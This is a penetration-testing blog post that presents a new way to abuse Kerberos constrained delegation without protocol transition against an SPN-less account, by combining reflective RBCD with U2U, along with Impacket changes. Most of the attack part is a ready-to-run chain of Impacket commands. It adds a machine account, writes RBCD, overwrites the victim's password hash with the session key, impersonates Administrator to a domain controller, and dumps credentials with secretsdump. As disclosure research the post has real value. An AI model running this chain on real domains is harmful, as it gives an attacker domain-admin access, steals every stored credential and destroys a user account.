TL;DR Link to heading

This blogpost introduces a new path for abusing Kerberos delegation! By combining Elad Shamir’s Reflective RBCD technique, James Forshaw’s U2U sacrificial user technique, and extending Impacket to support S4U2Proxy with U2U, we can now obtain the forwardable ticket required for Constrained Delegation without Protocol Transition when the account trusted for delegation has no SPN.

However, like the sacrificial path Forshaw discovered, this also requires RC4 to be permitted in the domain, destroys the affected user account, and requires MAQ to be enabled in the domain (or for something with an SPN to already be compromised).

Standing on the Shoulders of Giants Link to heading

Constrained Delegation Link to heading

There are two forms of Constrained Delegation in Kerberos:

  • With Protocol Transition: Allows a service to impersonate a user without requiring them to authenticate first. To achieve impersonation without authentication, Microsoft introduced S4U2Self to produce tickets that can be used with a subsequent S4U2Proxy.
  • Without Protocol Transition: The service cannot produce forwardable tickets on its own using S4U2Self. Instead, an S4U2Proxy can only be performed if the service trusted for delegation already has a forwardable ticket as the user to impersonate.

Reflective Resource-Based Constrained Delegation Link to heading

Any user or machine in a domain, by default, can write their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute, configuring Resource-Based Constrained Delegation (RBCD) on themselves. RBCD follows the same S4U mechanics as Constrained Delegation with Protocol Transition, but the service decides who may delegate to it rather than the domain.

When abusing Constrained Delegation without Protocol Transition, Elad Shamir discovered that an attacker can configure RBCD on a compromised resource to trust a MAQ-added machine (or anything with an SPN), then use S4U2Proxy to produce a forwardable service ticket as an elevated user. This ticket can then be used as evidence in a second S4U2Proxy against the original service the compromised resource is allowed to delegate to.

This chaining of delegation to produce and use a forwardable service ticket is called Reflective Resource-Based Constrained Delegation. It visually looks something like this:

Pasted image 20261008131954.png

Abusing Delegation with SPN-less Accounts Link to heading

If an account trusted for delegation does not have an SPN, it is still possible to produce tickets through an alternative means called User-to-User (U2U) authentication. When U2U is in use, instead of encrypting tickets with the passwords of services, the KDC encrypts tickets with a TGT session key which enables ticket generation to resources without SPNs.

When abusing Constrained Delegation with Protocol Transition, James Forshaw discovered that, if you changed a user’s password hash to that of its TGT session key, you can successfully generate an impersonated ticket and pivot through delegation. However, this tactic subsequently destroys the user, as their credentials will no longer be valid.

The Methodology Gap Link to heading

With current research, we can use Reflective RBCD to abuse Constrained Delegation without Protocol Transition, but this requires SPNs to work. We also have means of abusing Constrained Delegation against SPN-less accounts, but this only applies to the variant with Protocol Transition.

This blogpost introduces a new path, opening a means of abusing Constrained Delegation without Protocol Transition against SPN-less accounts by combining Reflective RBCD with U2U.

Just like the other tactics, the following prerequisites are required:

  • Domain permits RC4 encryption
  • Machine Account Quota (MAQ) is enabled
  • Resource without an SPN can configure RBCD

This also destroys the user trusted for delegation.

Abusing Constrained Delegation without Protocol Transition against SPN-less accounts Link to heading

Assume we’ve compromised the user LAMB with the password Password1!, which is allowed to delegate to host/DC01.secure.local via Constrained Delegation without Protocol Transition. However, LAMB does not have an SPN configured.

To successfully pivot to DC01 via delegation, we need to combine the work of Elad Shamir and James Forshaw:

  1. Request TGT and extract TGT session key for LAMB.
  2. Add a new computer to the domain via Machine Account Quota (MAQ).
  3. Configure RBCD on LAMB so it trusts the added machine for delegation.
  4. Change LAMB’s password hash to its TGT session key.
  5. Perform an S4U2Proxy with U2U to produce a forwardable service ticket as an elevated user.
  6. Pass that forwardable ticket (with an additional S4U2Proxy) to the service the compromised resource is allowed to delegate to.

Pasted image 20261008144129.png

Step 1: Get LAMB’s TGT and extract the session key

getTGT.py -hashes :$(pypykatz crypto nt 'Password1!') 'secure.local/LAMB' -dc-ip 10.0.1.40

describeTicket.py ./LAMB.ccache | grep "Ticket Session Key"

Pasted image 20260929194849.png

Here, our session key is b4758bcc4845a2bd4860eb5e8c3f5d12.

Step 2: Create a helper machine account via MAQ

addcomputer.py -computer-name 'LAMBPC$' -computer-pass 'Password123!' -dc-ip 10.0.1.40 'secure.local/LAMB:Password1!'

Pasted image 20260929194920.png

Step 3: Configure LAMB to trust LAMBPC$ for delegation

rbcd.py -delegate-from 'LAMBPC$' -delegate-to 'LAMB' -dc-ip 10.0.1.40 -action 'write' 'secure.local/LAMB:Password1!'

Pasted image 20260929194951.png

Step 4: Sacrifice LAMB

changepasswd.py -newhashes ':b4758bcc4845a2bd4860eb5e8c3f5d12' 'secure.local/LAMB:Password1!'@10.0.1.40

Pasted image 20260929195031.png

Step 5: U2U+RBCD S4U2Proxy (Novel Step)

getST.py -u2u -impersonate 'Administrator' -nospn 'LAMB' -tgt './LAMB.ccache' -dc-ip 10.0.1.40 'secure.local/LAMBPC$:Password123!'

Pasted image 20260929195139.png

Step 6: S4U2Proxy

export KRB5CCNAME=./LAMB.ccache

getST.py -impersonate 'Administrator' -spn 'host/DC01.secure.local' -additional-ticket './Administrator@[email protected]' -k -no-pass -dc-ip 10.0.1.40 'secure.local/LAMB'

Pasted image 20260929195238.png

Step 7: Profit!

export KRB5CCNAME=./Administrator@[email protected]

secretsdump.py -k DC01.secure.local

Pasted image 20260929195334.png

The full chain looks like this:

Pasted image 20261008133925.png

Performing an S4U2Proxy with U2U Link to heading

The novel step happens during reflective RBCD when you perform the first S4U2Proxy to obtain a forwardable ticket. When working on this, I was trying to perform an S4U2Proxy with U2U since LAMB has no SPN. This is a valid thing to do with Kerberos, it’s just that Impacket didn’t support this specific functionality.

To get an S4U2Proxy with U2U working, the following modifications to getST.py were made:

1. In PA-PAC-OPTIONS, set the resource_based_constrained_delegation flag to True. Without this set, the KDC returned KDC_ERR_BADOPTION.

Pasted image 20260930171902.png

2. In kdc-options, set the enc-tkt-in-skey flag to True. This tells the KDC to encrypt its response ticket with a TGT session key instead.

Pasted image 20260930172008.png

3. In sname, set name-type to kRB5-NT-UNKNOWN and specify the target user in SNameString. This sets the service name to LAMB, our target user without an SPN.

Pasted image 20260930171802.png

4. A traditional S4U2Proxy request will send an evidence ticket to the KDC, but since we are using U2U, we also need to supply a TGT for the KDC to extract the session key from. The first ticket is our TGT for LAMB, and the second is the Administrator evidence ticket produced by S4U2Self.

Pasted image 20260930171613.png

With that, we can now successfully use S4U2Proxy with U2U to generate a forwardable ticket to a resource without an SPN! :D

Conclusion Link to heading

Without the amazing research done by those who have come before, there’s no way I would have discovered this path. By combining Elad Shamir’s Reflective RBCD with James Forshaw’s U2U sacrificial user trick, we can now abuse Constrained Delegation without Protocol Transition against SPN-less accounts. This is not a new vulnerability in Kerberos, but rather a new set of steps to successfully exploit a configuration that has seemingly never been done before.

This blogpost was also uploaded to Sprocket Security!

References Link to heading